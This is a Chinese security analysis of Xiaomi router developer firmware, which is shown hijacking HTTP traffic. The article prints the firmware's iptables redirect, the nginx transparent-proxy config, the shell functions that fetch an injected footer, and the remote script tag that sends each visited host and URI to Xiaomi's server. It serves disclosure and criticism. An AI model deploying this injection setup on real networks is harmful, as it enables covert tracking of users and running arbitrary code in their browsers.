<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/6820

            0x00 概述


            小米路由器開發版固件(并非穩定版固件,不會影響大多數用戶,如果你不明白這是什么意思,它不會影響到你)使用黑客技術劫持用戶瀏覽器向用戶投送廣告,該技術在黑客界廣泛用于偷取用戶密碼甚至可能控制用戶電腦和手機,目前小米已經回應該事件,稱該事件為“借機炒作惡意煽動”,并解釋“所謂的廣告”是友好的新功能提示。目前小米官方已經做出相應調整,該功能已經暫時失效。

            ad

            2015年6月初,有用戶舉報說最新開發版(2.3.31)的小米路由器固件劫持了用戶瀏覽器,在用戶完全不知情的情況下向瀏覽器發送廣告代碼并執行,本文以官方提供下載的2.3.5版本進行代碼分析,論證其功能的技術實現以及可能影響,并對照小米官方微博的聲明進行技術核對和解釋。

            0x01 用戶舉報


            在V2EX上由用戶反映在通過小米路由器瀏覽網頁時,網頁被注入了JS代碼,而這段代碼目前還只是被用來顯示廣告。 《小米路由器先劫持 http 錯誤碼, 現在又在部分網站添加小尾巴, 什么節奏?》 這意味著你在完全不知情的前提下,你看到的所有內容其實都受小米路由器的控制,這段代碼可以被用來顯示廣告,也可以偷取你的密碼,可以隨便修改任何網頁的內容來欺騙你,甚至如果你的瀏覽器有漏洞的話,小米路由器還可能會控制你的電腦或手機。

            0x02 原理分析&代碼分析


            在代碼分析之前概述一下:簡單說,他是一個路由器,你通過它來上網,你把數據先交給它,然后它才把數據通過網線送出你家,而小米路由器對你交給它的數據做了手腳,不僅看了,還修改了。 以下代碼來自官方網站提供下載的2.3.5版本,使用binwalk解壓固件fs,再分析得到的代碼

            http://bigota.miwifi.com/xiaoqiang/rom/r1cm/miwifi_r1cm_firmware_7054f_2.3.5.bin

            下面為/lib/firewall/rr.loader第20行:

            iptables -t nat -A "$1" -m set --match-set "rr_tb" dst -p tcp -j REDIRECT --to-ports 8380
            

            在轉發用戶數據包之前把所有rr_tb列表里面目的為80端口的tcp數據包重定向至8380端口,這個是dnsmasq+ipset從小米服務器上獲取的域名ip

            下面為/etc/sysapihttpd/sysapihttpd.conf第384行:

            miwifi_toolbar_config miwifi_toolbar_zone 500K "RR_PATH_STUB";
            server {
                listen 8380;
                resolver localhost;
                location / {
                    set $device_id "DEV_ID_STUB";
                    set $rom_version "ROM_VERSION_STUB";
                    set $hardware "DEV_MODEL_STUB";
                    set $channel "CHANNEL_STUB";
                    include "/tmp/rr/footer";
                    miwifi_toolbar miwifi_toolbar_zone;
                    proxy_pass $scheme://$host$request_uri;
                    proxy_ignore_client_abort off;
                    proxy_connect_timeout 30s;
                    proxy_read_timeout 30s;
                    proxy_send_timeout 30s;
                    proxy_buffering off;
                    proxy_set_header Accept-Encoding '';
                    proxy_max_temp_file_size 0;
                    proxy_set_header Host $http_host;
                }
            }
            

            其實sysapihttpd就是nginx,監聽8380端口,做了一個反向代理(用在本地相當于透明代理),插入了/tmp/rr/footer代碼(RR_PATH_STUB),至于什么是反向代理,請參考烏云知識庫之前的文章《釣魚?這是反代理!》,那么,這個/tmp/rr/footer是哪里來的呢?

            下面為/usr/bin/pull-req-rule第22行:

            create_url() {
                local ts=${1:-0}
                local device_id=$(matool --method deviceID)
                local rom=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.ROM)
                local hardware=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.HARDWARE)
                local channel=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)
                local url="http://api.miwifi.com/rr/config"
                echo $url'?'ts=$ts'&'device_id=$device_id'&'rom=$rom'&'hardware=$hardware'&'channel=$channel
            }
            
            extract_footer() {
                local footer_file="$rr_prefix/footer"
                local footer=$(cat $content_file | grep '^footer' | cut -d$'\t' -f 2)
                echo "miwifi_toolbar_template \"$footer\";" > $footer_file
            }
            

            第一個函數是配置文件的地址,第二個函數是將配置文件中的廣告代碼放進上文所說的文件中 之后我們根據url的生成規則去看一眼這個config文件:

            http://api.miwifi.com/rr/config?ts=1&device_id=0&rom=2.3.31&hardware=miwifi&channel=0

            ts  1
            footer  <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script></body></html>
            exclude_suffix  .css|.js|.jpeg|.png|.gif|.ico
            rule_count  0   0
            

            我們可以清晰的看到,這段代碼是加載了一個來自api.miwifi.com的js代碼文件,換句話說,這個文件里的代碼你會無條件的直接執行,無論它是偷密碼的,還是發廣告的。 而規則已經被小米官方清空,這也意味著不再向任何域名投放廣告,但是這僅僅意味著小米服務器指示你的路由器不再JS注入,但小米可以任意時間通過修改這個api.miwifi.com上的控制文件來重新指示你的路由器做JS注入,而你到時候完全不會知道發生了什么

            而在小米作出相應調整之前,有網友記錄的config文件內容為(原地址http://pastebin.com/4t7eKNsA):

            ts      1434688147041
            footer  <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&c
            hannel=${channel}\"></script></body></html>
            exclude_suffix  .css|.js|.jpeg|.png|.gif|.ico
            rule_count      845     845
            rule    67a.cn  1       0
            w_rule  /       *       l       t
            rule    lizhidy.com     1       0
            w_rule  /       *       l       t
            rule    hacg.be 1       0
            w_rule  /       *       l       t
            …………………省略……………………
            

            這里的rule是指投放JS代碼的域名列表,只要在這個列表里,訪問時就會注入JS,形象的比喻:小米具有定向打擊的能力,它能在任意時間,任意域名下給你投放任意代碼,小米官方稱這只是友好的新功能提示,網上炒作都是惡意抹黑,然而現在顯而易見的是【小米對這段代碼有絕對的控制權,友好不友好都是受小米控制的,代碼內容是廣告還是木馬到頭來完全聽從小米的,而你上網時必須聽從這段代碼指揮】 jsinj 該代碼是一個動態代碼,實時從小米官方服務器上獲取指令執行,用戶無法干預該指令的執行,并且無法得知該指令的存在 00004 這就是所謂的廣告代碼,小米對該代碼有絕對控制權,可以在任意時間投放任意代碼給用戶執行

            0x03 到底廣告友好不友好


            再看看上文小米路由器插入的廣告代碼,不看不要緊,一看嚇一跳:

            <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script>
            

            host是你訪問的網站,uri是你訪問網站時瀏覽的頁面【以及你提交的GET查詢數據】,該數據可能包含你的賬號名稱、身份標識,換句話說就是你在網頁里輸入的東西都有可能被發往小米官方服務器,你看到什么,小米官方就能看到什么。技術上講,你在訪問網頁時被跟蹤了,這段代碼執行時不僅僅是顯示廣告,而且通俗的講就是把你瀏覽器地址欄里面的內容全都發送到了小米服務器上。

            0003

            從網友提供的圖片可以看到,網友正在瀏覽的網頁地址http://movie.douban.com/subject/25718082被小米路由器主動上交給了小米官方服務器(因為該網頁并不包含特別機密信息,且網友已經公開本圖片,請允許我在此公開該網頁地址,請該網友見諒,話說你咋喜歡看這種電影呢,嘻嘻嘻~)

            0x04 總結


            005

            1. 小米官方稱“開發版試水”情況屬實,并不會影響到正常使用穩定版的用戶
            2. 小米官方稱“已經作出相應調整”情況屬實,臨時取消JS注入域名清單(取消注入)
            3. 網友所說的JS注入情況屬實,并且并非靜態JS,而是小米服務器上的動態JS
            4. 網友所說的瀏覽器劫持情況屬實,官方所說手機APP能夠關閉404頁面情況屬實,但是這個功能默認是開著的,需要手動關閉
            5. 小米官方稱“炒作”情況屬實,首先用戶在反饋時忘記注明是開發版固件,因此使用的并不是普通用戶的穩定版功能,而媒體并沒有解釋“開發版”的含義,盲目大力渲染“劫持、注入”的危害,給用戶造成了片面印象,【小米對手動安裝了開發版固件的無辜用戶做了劫持和JS注入,但還沒有在全國強推該計劃】
            6. 小米官方稱“友好的新功能提示”不實,該代碼將用戶的瀏覽信息上傳至小米服務器(具體來說,你看的每一個網頁地址,某些情況下可能包含用戶名、密碼)
            7. 404頁面劫持會泄露用戶瀏覽的網頁地址情況屬實,但是一般來說這不會泄露個人隱私,另外404也有開關了,因此不再討論

            個人觀點:小米路由器開發版設計的瀏覽器劫持、JS代碼注入功能性質惡劣,嚴重侵犯了用戶的隱私權,甚至將來有可能借此入侵用戶的計算機與手機,并且所插入的JS代碼確實將用戶的隱私信息(瀏覽器訪問網站的地址及部分用戶輸入的內容)竊取至小米服務器,已經可以定性為后門程序。然而開發版意味著該功能只是技術嘗試,并未給普通用戶造成實際影響,因此雖然性質惡劣但是目前影響并不大。我認為小米有意將木馬程序推送給全國用戶,暫時先在開發版里試一下水,如果不被發現就繼續這么干下去了,現在被發現之后輕描淡寫稱開發版是逗你們玩兒的。想起之前大量discuz論壇被黑的事件,域名被劫持加上惡意代碼,導致使用discuz論壇的站長在登錄后臺之后執行了惡意代碼自己論壇被黑:http://tech.163.com/09/0108/15/4V55DUGA000915BF.html

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线